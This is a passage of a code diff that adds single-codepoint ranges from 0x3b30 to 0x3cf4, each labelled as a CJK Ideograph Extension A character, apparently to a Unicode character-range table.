+ [0x3b30, 0x3b30], /* CJK Ideograph Extension A */
+ [0x3b31, 0x3b31], /* CJK Ideograph Extension A */
+ [0x3b32, 0x3b32], /* CJK Ideograph Extension A */
+ [0x3b33, 0x3b33], /* CJK Ideograph Extension A */
+ [0x3b34, 0x3b34], /* CJK Ideograph Extension A */
+ [0x3b35, 0x3b35], /* CJK Ideograph Extension A */
+ [0x3b36, 0x3b36], /* CJK Ideograph Extension A */
+ [0x3b37, 0x3b37], /* CJK Ideograph Extension A */
+ [0x3b38, 0x3b38], /* CJK Ideograph Extension A */
+ [0x3b39, 0x3b39], /* CJK Ideograph Extension A */
+ [0x3b3a, 0x3b3a], /* CJK Ideograph Extension A */
+ [0x3b3b, 0x3b3b], /* CJK Ideograph Extension A */
+ [0x3b3c, 0x3b3c], /* CJK Ideograph Extension A */
+ [0x3b3d, 0x3b3d], /* CJK Ideograph Extension A */
+ [0x3b3e, 0x3b3e], /* CJK Ideograph Extension A */
+ [0x3b3f, 0x3b3f], /* CJK Ideograph Extension A */
+ [0x3b40, 0x3b40], /* CJK Ideograph Extension A */
+ [0x3b41, 0x3b41], /* CJK Ideograph Extension A */
+ [0x3b42, 0x3b42], /* CJK Ideograph Extension A */
+ [0x3b43, 0x3b43], /* CJK Ideograph Extension A */
+ [0x3b44, 0x3b44], /* CJK Ideograph Extension A */
+ [0x3b45, 0x3b45], /* CJK Ideograph Extension A */
+ [0x3b46, 0x3b46], /* CJK Ideograph Extension A */
+ [0x3b47, 0x3b47], /* CJK Ideograph Extension A */
+ [0x3b48, 0x3b48], /* CJK Ideograph Extension A */
+ [0x3b49, 0x3b49], /* CJK Ideograph Extension A */
+ [0x3b4a, 0x3b4a], /* CJK Ideograph Extension A */
+ [0x3b4b, 0x3b4b], /* CJK Ideograph Extension A */
+ [0x3b4c, 0x3b4c], /* CJK Ideograph Extension A */
+ [0x3b4d, 0x3b4d], /* CJK Ideograph Extension A */
+ [0x3b4e, 0x3b4e], /* CJK Ideograph Extension A */
+ [0x3b4f, 0x3b4f], /* CJK Ideograph Extension A */
+ [0x3b50, 0x3b50], /* CJK Ideograph Extension A */
+ [0x3b51, 0x3b51], /* CJK Ideograph Extension A */
+ [0x3b52, 0x3b52], /* CJK Ideograph Extension A */
+ [0x3b53, 0x3b53], /* CJK Ideograph Extension A */
+ [0x3b54, 0x3b54], /* CJK Ideograph Extension A */
+ [0x3b55, 0x3b55], /* CJK Ideograph Extension A */
+ [0x3b56, 0x3b56], /* CJK Ideograph Extension A */
+ [0x3b57, 0x3b57], /* CJK Ideograph Extension A */
+ [0x3b58, 0x3b58], /* CJK Ideograph Extension A */
+ [0x3b59, 0x3b59], /* CJK Ideograph Extension A */
+ [0x3b5a, 0x3b5a], /* CJK Ideograph Extension A */
+ [0x3b5b, 0x3b5b], /* CJK Ideograph Extension A */
+ [0x3b5c, 0x3b5c], /* CJK Ideograph Extension A */
+ [0x3b5d, 0x3b5d], /* CJK Ideograph Extension A */
+ [0x3b5e, 0x3b5e], /* CJK Ideograph Extension A */
+ [0x3b5f, 0x3b5f], /* CJK Ideograph Extension A */
+ [0x3b60, 0x3b60], /* CJK Ideograph Extension A */
+ [0x3b61, 0x3b61], /* CJK Ideograph Extension A */
+ [0x3b62, 0x3b62], /* CJK Ideograph Extension A */
+ [0x3b63, 0x3b63], /* CJK Ideograph Extension A */
+ [0x3b64, 0x3b64], /* CJK Ideograph Extension A */
+ [0x3b65, 0x3b65], /* CJK Ideograph Extension A */
+ [0x3b66, 0x3b66], /* CJK Ideograph Extension A */
+ [0x3b67, 0x3b67], /* CJK Ideograph Extension A */
+ [0x3b68, 0x3b68], /* CJK Ideograph Extension A */
+ [0x3b69, 0x3b69], /* CJK Ideograph Extension A */
+ [0x3b6a, 0x3b6a], /* CJK Ideograph Extension A */
+ [0x3b6b, 0x3b6b], /* CJK Ideograph Extension A */
+ [0x3b6c, 0x3b6c], /* CJK Ideograph Extension A */
+ [0x3b6d, 0x3b6d], /* CJK Ideograph Extension A */
+ [0x3b6e, 0x3b6e], /* CJK Ideograph Extension A */
+ [0x3b6f, 0x3b6f], /* CJK Ideograph Extension A */
+ [0x3b70, 0x3b70], /* CJK Ideograph Extension A */
+ [0x3b71, 0x3b71], /* CJK Ideograph Extension A */
+ [0x3b72, 0x3b72], /* CJK Ideograph Extension A */
+ [0x3b73, 0x3b73], /* CJK Ideograph Extension A */
+ [0x3b74, 0x3b74], /* CJK Ideograph Extension A */
+ [0x3b75, 0x3b75], /* CJK Ideograph Extension A */
+ [0x3b76, 0x3b76], /* CJK Ideograph Extension A */
+ [0x3b77, 0x3b77], /* CJK Ideograph Extension A */
+ [0x3b78, 0x3b78], /* CJK Ideograph Extension A */
+ [0x3b79, 0x3b79], /* CJK Ideograph Extension A */
+ [0x3b7a, 0x3b7a], /* CJK Ideograph Extension A */
+ [0x3b7b, 0x3b7b], /* CJK Ideograph Extension A */
+ [0x3b7c, 0x3b7c], /* CJK Ideograph Extension A */
+ [0x3b7d, 0x3b7d], /* CJK Ideograph Extension A */
+ [0x3b7e, 0x3b7e], /* CJK Ideograph Extension A */
+ [0x3b7f, 0x3b7f], /* CJK Ideograph Extension A */
+ [0x3b80, 0x3b80], /* CJK Ideograph Extension A */
+ [0x3b81, 0x3b81], /* CJK Ideograph Extension A */
+ [0x3b82, 0x3b82], /* CJK Ideograph Extension A */
+ [0x3b83, 0x3b83], /* CJK Ideograph Extension A */
+ [0x3b84, 0x3b84], /* CJK Ideograph Extension A */
+ [0x3b85, 0x3b85], /* CJK Ideograph Extension A */
+ [0x3b86, 0x3b86], /* CJK Ideograph Extension A */
+ [0x3b87, 0x3b87], /* CJK Ideograph Extension A */
+ [0x3b88, 0x3b88], /* CJK Ideograph Extension A */
+ [0x3b89, 0x3b89], /* CJK Ideograph Extension A */
+ [0x3b8a, 0x3b8a], /* CJK Ideograph Extension A */
+ [0x3b8b, 0x3b8b], /* CJK Ideograph Extension A */
+ [0x3b8c, 0x3b8c], /* CJK Ideograph Extension A */
+ [0x3b8d, 0x3b8d], /* CJK Ideograph Extension A */
+ [0x3b8e, 0x3b8e], /* CJK Ideograph Extension A */
+ [0x3b8f, 0x3b8f], /* CJK Ideograph Extension A */
+ [0x3b90, 0x3b90], /* CJK Ideograph Extension A */
+ [0x3b91, 0x3b91], /* CJK Ideograph Extension A */
+ [0x3b92, 0x3b92], /* CJK Ideograph Extension A */
+ [0x3b93, 0x3b93], /* CJK Ideograph Extension A */
+ [0x3b94, 0x3b94], /* CJK Ideograph Extension A */
+ [0x3b95, 0x3b95], /* CJK Ideograph Extension A */
+ [0x3b96, 0x3b96], /* CJK Ideograph Extension A */
+ [0x3b97, 0x3b97], /* CJK Ideograph Extension A */
+ [0x3b98, 0x3b98], /* CJK Ideograph Extension A */
+ [0x3b99, 0x3b99], /* CJK Ideograph Extension A */
+ [0x3b9a, 0x3b9a], /* CJK Ideograph Extension A */
+ [0x3b9b, 0x3b9b], /* CJK Ideograph Extension A */
+ [0x3b9c, 0x3b9c], /* CJK Ideograph Extension A */
+ [0x3b9d, 0x3b9d], /* CJK Ideograph Extension A */
+ [0x3b9e, 0x3b9e], /* CJK Ideograph Extension A */
+ [0x3b9f, 0x3b9f], /* CJK Ideograph Extension A */
+ [0x3ba0, 0x3ba0], /* CJK Ideograph Extension A */
+ [0x3ba1, 0x3ba1], /* CJK Ideograph Extension A */
+ [0x3ba2, 0x3ba2], /* CJK Ideograph Extension A */
+ [0x3ba3, 0x3ba3], /* CJK Ideograph Extension A */
+ [0x3ba4, 0x3ba4], /* CJK Ideograph Extension A */
+ [0x3ba5, 0x3ba5], /* CJK Ideograph Extension A */
+ [0x3ba6, 0x3ba6], /* CJK Ideograph Extension A */
+ [0x3ba7, 0x3ba7], /* CJK Ideograph Extension A */
+ [0x3ba8, 0x3ba8], /* CJK Ideograph Extension A */
+ [0x3ba9, 0x3ba9], /* CJK Ideograph Extension A */
+ [0x3baa, 0x3baa], /* CJK Ideograph Extension A */
+ [0x3bab, 0x3bab], /* CJK Ideograph Extension A */
+ [0x3bac, 0x3bac], /* CJK Ideograph Extension A */
+ [0x3bad, 0x3bad], /* CJK Ideograph Extension A */
+ [0x3bae, 0x3bae], /* CJK Ideograph Extension A */
+ [0x3baf, 0x3baf], /* CJK Ideograph Extension A */
+ [0x3bb0, 0x3bb0], /* CJK Ideograph Extension A */
+ [0x3bb1, 0x3bb1], /* CJK Ideograph Extension A */
+ [0x3bb2, 0x3bb2], /* CJK Ideograph Extension A */
+ [0x3bb3, 0x3bb3], /* CJK Ideograph Extension A */
+ [0x3bb4, 0x3bb4], /* CJK Ideograph Extension A */
+ [0x3bb5, 0x3bb5], /* CJK Ideograph Extension A */
+ [0x3bb6, 0x3bb6], /* CJK Ideograph Extension A */
+ [0x3bb7, 0x3bb7], /* CJK Ideograph Extension A */
+ [0x3bb8, 0x3bb8], /* CJK Ideograph Extension A */
+ [0x3bb9, 0x3bb9], /* CJK Ideograph Extension A */
+ [0x3bba, 0x3bba], /* CJK Ideograph Extension A */
+ [0x3bbb, 0x3bbb], /* CJK Ideograph Extension A */
+ [0x3bbc, 0x3bbc], /* CJK Ideograph Extension A */
+ [0x3bbd, 0x3bbd], /* CJK Ideograph Extension A */
+ [0x3bbe, 0x3bbe], /* CJK Ideograph Extension A */
+ [0x3bbf, 0x3bbf], /* CJK Ideograph Extension A */
+ [0x3bc0, 0x3bc0], /* CJK Ideograph Extension A */
+ [0x3bc1, 0x3bc1], /* CJK Ideograph Extension A */
+ [0x3bc2, 0x3bc2], /* CJK Ideograph Extension A */
+ [0x3bc3, 0x3bc3], /* CJK Ideograph Extension A */
+ [0x3bc4, 0x3bc4], /* CJK Ideograph Extension A */
+ [0x3bc5, 0x3bc5], /* CJK Ideograph Extension A */
+ [0x3bc6, 0x3bc6], /* CJK Ideograph Extension A */
+ [0x3bc7, 0x3bc7], /* CJK Ideograph Extension A */
+ [0x3bc8, 0x3bc8], /* CJK Ideograph Extension A */
+ [0x3bc9, 0x3bc9], /* CJK Ideograph Extension A */
+ [0x3bca, 0x3bca], /* CJK Ideograph Extension A */
+ [0x3bcb, 0x3bcb], /* CJK Ideograph Extension A */
+ [0x3bcc, 0x3bcc], /* CJK Ideograph Extension A */
+ [0x3bcd, 0x3bcd], /* CJK Ideograph Extension A */
+ [0x3bce, 0x3bce], /* CJK Ideograph Extension A */
+ [0x3bcf, 0x3bcf], /* CJK Ideograph Extension A */
+ [0x3bd0, 0x3bd0], /* CJK Ideograph Extension A */
+ [0x3bd1, 0x3bd1], /* CJK Ideograph Extension A */
+ [0x3bd2, 0x3bd2], /* CJK Ideograph Extension A */
+ [0x3bd3, 0x3bd3], /* CJK Ideograph Extension A */
+ [0x3bd4, 0x3bd4], /* CJK Ideograph Extension A */
+ [0x3bd5, 0x3bd5], /* CJK Ideograph Extension A */
+ [0x3bd6, 0x3bd6], /* CJK Ideograph Extension A */
+ [0x3bd7, 0x3bd7], /* CJK Ideograph Extension A */
+ [0x3bd8, 0x3bd8], /* CJK Ideograph Extension A */
+ [0x3bd9, 0x3bd9], /* CJK Ideograph Extension A */
+ [0x3bda, 0x3bda], /* CJK Ideograph Extension A */
+ [0x3bdb, 0x3bdb], /* CJK Ideograph Extension A */
+ [0x3bdc, 0x3bdc], /* CJK Ideograph Extension A */
+ [0x3bdd, 0x3bdd], /* CJK Ideograph Extension A */
+ [0x3bde, 0x3bde], /* CJK Ideograph Extension A */
+ [0x3bdf, 0x3bdf], /* CJK Ideograph Extension A */
+ [0x3be0, 0x3be0], /* CJK Ideograph Extension A */
+ [0x3be1, 0x3be1], /* CJK Ideograph Extension A */
+ [0x3be2, 0x3be2], /* CJK Ideograph Extension A */
+ [0x3be3, 0x3be3], /* CJK Ideograph Extension A */
+ [0x3be4, 0x3be4], /* CJK Ideograph Extension A */
+ [0x3be5, 0x3be5], /* CJK Ideograph Extension A */
+ [0x3be6, 0x3be6], /* CJK Ideograph Extension A */
+ [0x3be7, 0x3be7], /* CJK Ideograph Extension A */
+ [0x3be8, 0x3be8], /* CJK Ideograph Extension A */
+ [0x3be9, 0x3be9], /* CJK Ideograph Extension A */
+ [0x3bea, 0x3bea], /* CJK Ideograph Extension A */
+ [0x3beb, 0x3beb], /* CJK Ideograph Extension A */
+ [0x3bec, 0x3bec], /* CJK Ideograph Extension A */
+ [0x3bed, 0x3bed], /* CJK Ideograph Extension A */
+ [0x3bee, 0x3bee], /* CJK Ideograph Extension A */
+ [0x3bef, 0x3bef], /* CJK Ideograph Extension A */
+ [0x3bf0, 0x3bf0], /* CJK Ideograph Extension A */
+ [0x3bf1, 0x3bf1], /* CJK Ideograph Extension A */
+ [0x3bf2, 0x3bf2], /* CJK Ideograph Extension A */
+ [0x3bf3, 0x3bf3], /* CJK Ideograph Extension A */
+ [0x3bf4, 0x3bf4], /* CJK Ideograph Extension A */
+ [0x3bf5, 0x3bf5], /* CJK Ideograph Extension A */
+ [0x3bf6, 0x3bf6], /* CJK Ideograph Extension A */
+ [0x3bf7, 0x3bf7], /* CJK Ideograph Extension A */
+ [0x3bf8, 0x3bf8], /* CJK Ideograph Extension A */
+ [0x3bf9, 0x3bf9], /* CJK Ideograph Extension A */
+ [0x3bfa, 0x3bfa], /* CJK Ideograph Extension A */
+ [0x3bfb, 0x3bfb], /* CJK Ideograph Extension A */
+ [0x3bfc, 0x3bfc], /* CJK Ideograph Extension A */
+ [0x3bfd, 0x3bfd], /* CJK Ideograph Extension A */
+ [0x3bfe, 0x3bfe], /* CJK Ideograph Extension A */
+ [0x3bff, 0x3bff], /* CJK Ideograph Extension A */
+ [0x3c00, 0x3c00], /* CJK Ideograph Extension A */
+ [0x3c01, 0x3c01], /* CJK Ideograph Extension A */
+ [0x3c02, 0x3c02], /* CJK Ideograph Extension A */
+ [0x3c03, 0x3c03], /* CJK Ideograph Extension A */
+ [0x3c04, 0x3c04], /* CJK Ideograph Extension A */
+ [0x3c05, 0x3c05], /* CJK Ideograph Extension A */
+ [0x3c06, 0x3c06], /* CJK Ideograph Extension A */
+ [0x3c07, 0x3c07], /* CJK Ideograph Extension A */
+ [0x3c08, 0x3c08], /* CJK Ideograph Extension A */
+ [0x3c09, 0x3c09], /* CJK Ideograph Extension A */
+ [0x3c0a, 0x3c0a], /* CJK Ideograph Extension A */
+ [0x3c0b, 0x3c0b], /* CJK Ideograph Extension A */
+ [0x3c0c, 0x3c0c], /* CJK Ideograph Extension A */
+ [0x3c0d, 0x3c0d], /* CJK Ideograph Extension A */
+ [0x3c0e, 0x3c0e], /* CJK Ideograph Extension A */
+ [0x3c0f, 0x3c0f], /* CJK Ideograph Extension A */
+ [0x3c10, 0x3c10], /* CJK Ideograph Extension A */
+ [0x3c11, 0x3c11], /* CJK Ideograph Extension A */
+ [0x3c12, 0x3c12], /* CJK Ideograph Extension A */
+ [0x3c13, 0x3c13], /* CJK Ideograph Extension A */
+ [0x3c14, 0x3c14], /* CJK Ideograph Extension A */
+ [0x3c15, 0x3c15], /* CJK Ideograph Extension A */
+ [0x3c16, 0x3c16], /* CJK Ideograph Extension A */
+ [0x3c17, 0x3c17], /* CJK Ideograph Extension A */
+ [0x3c18, 0x3c18], /* CJK Ideograph Extension A */
+ [0x3c19, 0x3c19], /* CJK Ideograph Extension A */
+ [0x3c1a, 0x3c1a], /* CJK Ideograph Extension A */
+ [0x3c1b, 0x3c1b], /* CJK Ideograph Extension A */
+ [0x3c1c, 0x3c1c], /* CJK Ideograph Extension A */
+ [0x3c1d, 0x3c1d], /* CJK Ideograph Extension A */
+ [0x3c1e, 0x3c1e], /* CJK Ideograph Extension A */
+ [0x3c1f, 0x3c1f], /* CJK Ideograph Extension A */
+ [0x3c20, 0x3c20], /* CJK Ideograph Extension A */
+ [0x3c21, 0x3c21], /* CJK Ideograph Extension A */
+ [0x3c22, 0x3c22], /* CJK Ideograph Extension A */
+ [0x3c23, 0x3c23], /* CJK Ideograph Extension A */
+ [0x3c24, 0x3c24], /* CJK Ideograph Extension A */
+ [0x3c25, 0x3c25], /* CJK Ideograph Extension A */
+ [0x3c26, 0x3c26], /* CJK Ideograph Extension A */
+ [0x3c27, 0x3c27], /* CJK Ideograph Extension A */
+ [0x3c28, 0x3c28], /* CJK Ideograph Extension A */
+ [0x3c29, 0x3c29], /* CJK Ideograph Extension A */
+ [0x3c2a, 0x3c2a], /* CJK Ideograph Extension A */
+ [0x3c2b, 0x3c2b], /* CJK Ideograph Extension A */
+ [0x3c2c, 0x3c2c], /* CJK Ideograph Extension A */
+ [0x3c2d, 0x3c2d], /* CJK Ideograph Extension A */
+ [0x3c2e, 0x3c2e], /* CJK Ideograph Extension A */
+ [0x3c2f, 0x3c2f], /* CJK Ideograph Extension A */
+ [0x3c30, 0x3c30], /* CJK Ideograph Extension A */
+ [0x3c31, 0x3c31], /* CJK Ideograph Extension A */
+ [0x3c32, 0x3c32], /* CJK Ideograph Extension A */
+ [0x3c33, 0x3c33], /* CJK Ideograph Extension A */
+ [0x3c34, 0x3c34], /* CJK Ideograph Extension A */
+ [0x3c35, 0x3c35], /* CJK Ideograph Extension A */
+ [0x3c36, 0x3c36], /* CJK Ideograph Extension A */
+ [0x3c37, 0x3c37], /* CJK Ideograph Extension A */
+ [0x3c38, 0x3c38], /* CJK Ideograph Extension A */
+ [0x3c39, 0x3c39], /* CJK Ideograph Extension A */
+ [0x3c3a, 0x3c3a], /* CJK Ideograph Extension A */
+ [0x3c3b, 0x3c3b], /* CJK Ideograph Extension A */
+ [0x3c3c, 0x3c3c], /* CJK Ideograph Extension A */
+ [0x3c3d, 0x3c3d], /* CJK Ideograph Extension A */
+ [0x3c3e, 0x3c3e], /* CJK Ideograph Extension A */
+ [0x3c3f, 0x3c3f], /* CJK Ideograph Extension A */
+ [0x3c40, 0x3c40], /* CJK Ideograph Extension A */
+ [0x3c41, 0x3c41], /* CJK Ideograph Extension A */
+ [0x3c42, 0x3c42], /* CJK Ideograph Extension A */
+ [0x3c43, 0x3c43], /* CJK Ideograph Extension A */
+ [0x3c44, 0x3c44], /* CJK Ideograph Extension A */
+ [0x3c45, 0x3c45], /* CJK Ideograph Extension A */
+ [0x3c46, 0x3c46], /* CJK Ideograph Extension A */
+ [0x3c47, 0x3c47], /* CJK Ideograph Extension A */
+ [0x3c48, 0x3c48], /* CJK Ideograph Extension A */
+ [0x3c49, 0x3c49], /* CJK Ideograph Extension A */
+ [0x3c4a, 0x3c4a], /* CJK Ideograph Extension A */
+ [0x3c4b, 0x3c4b], /* CJK Ideograph Extension A */
+ [0x3c4c, 0x3c4c], /* CJK Ideograph Extension A */
+ [0x3c4d, 0x3c4d], /* CJK Ideograph Extension A */
+ [0x3c4e, 0x3c4e], /* CJK Ideograph Extension A */
+ [0x3c4f, 0x3c4f], /* CJK Ideograph Extension A */
+ [0x3c50, 0x3c50], /* CJK Ideograph Extension A */
+ [0x3c51, 0x3c51], /* CJK Ideograph Extension A */
+ [0x3c52, 0x3c52], /* CJK Ideograph Extension A */
+ [0x3c53, 0x3c53], /* CJK Ideograph Extension A */
+ [0x3c54, 0x3c54], /* CJK Ideograph Extension A */
+ [0x3c55, 0x3c55], /* CJK Ideograph Extension A */
+ [0x3c56, 0x3c56], /* CJK Ideograph Extension A */
+ [0x3c57, 0x3c57], /* CJK Ideograph Extension A */
+ [0x3c58, 0x3c58], /* CJK Ideograph Extension A */
+ [0x3c59, 0x3c59], /* CJK Ideograph Extension A */
+ [0x3c5a, 0x3c5a], /* CJK Ideograph Extension A */
+ [0x3c5b, 0x3c5b], /* CJK Ideograph Extension A */
+ [0x3c5c, 0x3c5c], /* CJK Ideograph Extension A */
+ [0x3c5d, 0x3c5d], /* CJK Ideograph Extension A */
+ [0x3c5e, 0x3c5e], /* CJK Ideograph Extension A */
+ [0x3c5f, 0x3c5f], /* CJK Ideograph Extension A */
+ [0x3c60, 0x3c60], /* CJK Ideograph Extension A */
+ [0x3c61, 0x3c61], /* CJK Ideograph Extension A */
+ [0x3c62, 0x3c62], /* CJK Ideograph Extension A */
+ [0x3c63, 0x3c63], /* CJK Ideograph Extension A */
+ [0x3c64, 0x3c64], /* CJK Ideograph Extension A */
+ [0x3c65, 0x3c65], /* CJK Ideograph Extension A */
+ [0x3c66, 0x3c66], /* CJK Ideograph Extension A */
+ [0x3c67, 0x3c67], /* CJK Ideograph Extension A */
+ [0x3c68, 0x3c68], /* CJK Ideograph Extension A */
+ [0x3c69, 0x3c69], /* CJK Ideograph Extension A */
+ [0x3c6a, 0x3c6a], /* CJK Ideograph Extension A */
+ [0x3c6b, 0x3c6b], /* CJK Ideograph Extension A */
+ [0x3c6c, 0x3c6c], /* CJK Ideograph Extension A */
+ [0x3c6d, 0x3c6d], /* CJK Ideograph Extension A */
+ [0x3c6e, 0x3c6e], /* CJK Ideograph Extension A */
+ [0x3c6f, 0x3c6f], /* CJK Ideograph Extension A */
+ [0x3c70, 0x3c70], /* CJK Ideograph Extension A */
+ [0x3c71, 0x3c71], /* CJK Ideograph Extension A */
+ [0x3c72, 0x3c72], /* CJK Ideograph Extension A */
+ [0x3c73, 0x3c73], /* CJK Ideograph Extension A */
+ [0x3c74, 0x3c74], /* CJK Ideograph Extension A */
+ [0x3c75, 0x3c75], /* CJK Ideograph Extension A */
+ [0x3c76, 0x3c76], /* CJK Ideograph Extension A */
+ [0x3c77, 0x3c77], /* CJK Ideograph Extension A */
+ [0x3c78, 0x3c78], /* CJK Ideograph Extension A */
+ [0x3c79, 0x3c79], /* CJK Ideograph Extension A */
+ [0x3c7a, 0x3c7a], /* CJK Ideograph Extension A */
+ [0x3c7b, 0x3c7b], /* CJK Ideograph Extension A */
+ [0x3c7c, 0x3c7c], /* CJK Ideograph Extension A */
+ [0x3c7d, 0x3c7d], /* CJK Ideograph Extension A */
+ [0x3c7e, 0x3c7e], /* CJK Ideograph Extension A */
+ [0x3c7f, 0x3c7f], /* CJK Ideograph Extension A */
+ [0x3c80, 0x3c80], /* CJK Ideograph Extension A */
+ [0x3c81, 0x3c81], /* CJK Ideograph Extension A */
+ [0x3c82, 0x3c82], /* CJK Ideograph Extension A */
+ [0x3c83, 0x3c83], /* CJK Ideograph Extension A */
+ [0x3c84, 0x3c84], /* CJK Ideograph Extension A */
+ [0x3c85, 0x3c85], /* CJK Ideograph Extension A */
+ [0x3c86, 0x3c86], /* CJK Ideograph Extension A */
+ [0x3c87, 0x3c87], /* CJK Ideograph Extension A */
+ [0x3c88, 0x3c88], /* CJK Ideograph Extension A */
+ [0x3c89, 0x3c89], /* CJK Ideograph Extension A */
+ [0x3c8a, 0x3c8a], /* CJK Ideograph Extension A */
+ [0x3c8b, 0x3c8b], /* CJK Ideograph Extension A */
+ [0x3c8c, 0x3c8c], /* CJK Ideograph Extension A */
+ [0x3c8d, 0x3c8d], /* CJK Ideograph Extension A */
+ [0x3c8e, 0x3c8e], /* CJK Ideograph Extension A */
+ [0x3c8f, 0x3c8f], /* CJK Ideograph Extension A */
+ [0x3c90, 0x3c90], /* CJK Ideograph Extension A */
+ [0x3c91, 0x3c91], /* CJK Ideograph Extension A */
+ [0x3c92, 0x3c92], /* CJK Ideograph Extension A */
+ [0x3c93, 0x3c93], /* CJK Ideograph Extension A */
+ [0x3c94, 0x3c94], /* CJK Ideograph Extension A */
+ [0x3c95, 0x3c95], /* CJK Ideograph Extension A */
+ [0x3c96, 0x3c96], /* CJK Ideograph Extension A */
+ [0x3c97, 0x3c97], /* CJK Ideograph Extension A */
+ [0x3c98, 0x3c98], /* CJK Ideograph Extension A */
+ [0x3c99, 0x3c99], /* CJK Ideograph Extension A */
+ [0x3c9a, 0x3c9a], /* CJK Ideograph Extension A */
+ [0x3c9b, 0x3c9b], /* CJK Ideograph Extension A */
+ [0x3c9c, 0x3c9c], /* CJK Ideograph Extension A */
+ [0x3c9d, 0x3c9d], /* CJK Ideograph Extension A */
+ [0x3c9e, 0x3c9e], /* CJK Ideograph Extension A */
+ [0x3c9f, 0x3c9f], /* CJK Ideograph Extension A */
+ [0x3ca0, 0x3ca0], /* CJK Ideograph Extension A */
+ [0x3ca1, 0x3ca1], /* CJK Ideograph Extension A */
+ [0x3ca2, 0x3ca2], /* CJK Ideograph Extension A */
+ [0x3ca3, 0x3ca3], /* CJK Ideograph Extension A */
+ [0x3ca4, 0x3ca4], /* CJK Ideograph Extension A */
+ [0x3ca5, 0x3ca5], /* CJK Ideograph Extension A */
+ [0x3ca6, 0x3ca6], /* CJK Ideograph Extension A */
+ [0x3ca7, 0x3ca7], /* CJK Ideograph Extension A */
+ [0x3ca8, 0x3ca8], /* CJK Ideograph Extension A */
+ [0x3ca9, 0x3ca9], /* CJK Ideograph Extension A */
+ [0x3caa, 0x3caa], /* CJK Ideograph Extension A */
+ [0x3cab, 0x3cab], /* CJK Ideograph Extension A */
+ [0x3cac, 0x3cac], /* CJK Ideograph Extension A */
+ [0x3cad, 0x3cad], /* CJK Ideograph Extension A */
+ [0x3cae, 0x3cae], /* CJK Ideograph Extension A */
+ [0x3caf, 0x3caf], /* CJK Ideograph Extension A */
+ [0x3cb0, 0x3cb0], /* CJK Ideograph Extension A */
+ [0x3cb1, 0x3cb1], /* CJK Ideograph Extension A */
+ [0x3cb2, 0x3cb2], /* CJK Ideograph Extension A */
+ [0x3cb3, 0x3cb3], /* CJK Ideograph Extension A */
+ [0x3cb4, 0x3cb4], /* CJK Ideograph Extension A */
+ [0x3cb5, 0x3cb5], /* CJK Ideograph Extension A */
+ [0x3cb6, 0x3cb6], /* CJK Ideograph Extension A */
+ [0x3cb7, 0x3cb7], /* CJK Ideograph Extension A */
+ [0x3cb8, 0x3cb8], /* CJK Ideograph Extension A */
+ [0x3cb9, 0x3cb9], /* CJK Ideograph Extension A */
+ [0x3cba, 0x3cba], /* CJK Ideograph Extension A */
+ [0x3cbb, 0x3cbb], /* CJK Ideograph Extension A */
+ [0x3cbc, 0x3cbc], /* CJK Ideograph Extension A */
+ [0x3cbd, 0x3cbd], /* CJK Ideograph Extension A */
+ [0x3cbe, 0x3cbe], /* CJK Ideograph Extension A */
+ [0x3cbf, 0x3cbf], /* CJK Ideograph Extension A */
+ [0x3cc0, 0x3cc0], /* CJK Ideograph Extension A */
+ [0x3cc1, 0x3cc1], /* CJK Ideograph Extension A */
+ [0x3cc2, 0x3cc2], /* CJK Ideograph Extension A */
+ [0x3cc3, 0x3cc3], /* CJK Ideograph Extension A */
+ [0x3cc4, 0x3cc4], /* CJK Ideograph Extension A */
+ [0x3cc5, 0x3cc5], /* CJK Ideograph Extension A */
+ [0x3cc6, 0x3cc6], /* CJK Ideograph Extension A */
+ [0x3cc7, 0x3cc7], /* CJK Ideograph Extension A */
+ [0x3cc8, 0x3cc8], /* CJK Ideograph Extension A */
+ [0x3cc9, 0x3cc9], /* CJK Ideograph Extension A */
+ [0x3cca, 0x3cca], /* CJK Ideograph Extension A */
+ [0x3ccb, 0x3ccb], /* CJK Ideograph Extension A */
+ [0x3ccc, 0x3ccc], /* CJK Ideograph Extension A */
+ [0x3ccd, 0x3ccd], /* CJK Ideograph Extension A */
+ [0x3cce, 0x3cce], /* CJK Ideograph Extension A */
+ [0x3ccf, 0x3ccf], /* CJK Ideograph Extension A */
+ [0x3cd0, 0x3cd0], /* CJK Ideograph Extension A */
+ [0x3cd1, 0x3cd1], /* CJK Ideograph Extension A */
+ [0x3cd2, 0x3cd2], /* CJK Ideograph Extension A */
+ [0x3cd3, 0x3cd3], /* CJK Ideograph Extension A */
+ [0x3cd4, 0x3cd4], /* CJK Ideograph Extension A */
+ [0x3cd5, 0x3cd5], /* CJK Ideograph Extension A */
+ [0x3cd6, 0x3cd6], /* CJK Ideograph Extension A */
+ [0x3cd7, 0x3cd7], /* CJK Ideograph Extension A */
+ [0x3cd8, 0x3cd8], /* CJK Ideograph Extension A */
+ [0x3cd9, 0x3cd9], /* CJK Ideograph Extension A */
+ [0x3cda, 0x3cda], /* CJK Ideograph Extension A */
+ [0x3cdb, 0x3cdb], /* CJK Ideograph Extension A */
+ [0x3cdc, 0x3cdc], /* CJK Ideograph Extension A */
+ [0x3cdd, 0x3cdd], /* CJK Ideograph Extension A */
+ [0x3cde, 0x3cde], /* CJK Ideograph Extension A */
+ [0x3cdf, 0x3cdf], /* CJK Ideograph Extension A */
+ [0x3ce0, 0x3ce0], /* CJK Ideograph Extension A */
+ [0x3ce1, 0x3ce1], /* CJK Ideograph Extension A */
+ [0x3ce2, 0x3ce2], /* CJK Ideograph Extension A */
+ [0x3ce3, 0x3ce3], /* CJK Ideograph Extension A */
+ [0x3ce4, 0x3ce4], /* CJK Ideograph Extension A */
+ [0x3ce5, 0x3ce5], /* CJK Ideograph Extension A */
+ [0x3ce6, 0x3ce6], /* CJK Ideograph Extension A */
+ [0x3ce7, 0x3ce7], /* CJK Ideograph Extension A */
+ [0x3ce8, 0x3ce8], /* CJK Ideograph Extension A */
+ [0x3ce9, 0x3ce9], /* CJK Ideograph Extension A */
+ [0x3cea, 0x3cea], /* CJK Ideograph Extension A */
+ [0x3ceb, 0x3ceb], /* CJK Ideograph Extension A */
+ [0x3cec, 0x3cec], /* CJK Ideograph Extension A */
+ [0x3ced, 0x3ced], /* CJK Ideograph Extension A */
+ [0x3cee, 0x3cee], /* CJK Ideograph Extension A */
+ [0x3cef, 0x3cef], /* CJK Ideograph Extension A */
+ [0x3cf0, 0x3cf0], /* CJK Ideograph Extension A */
+ [0x3cf1, 0x3cf1], /* CJK Ideograph Extension A */
+ [0x3cf2, 0x3cf2], /* CJK Ideograph Extension A */
+ [0x3cf3, 0x3cf3], /* CJK Ideograph Extension A */
+ [0x3cf4, 0x3cf4], /* CJK Ideograph Extension A */
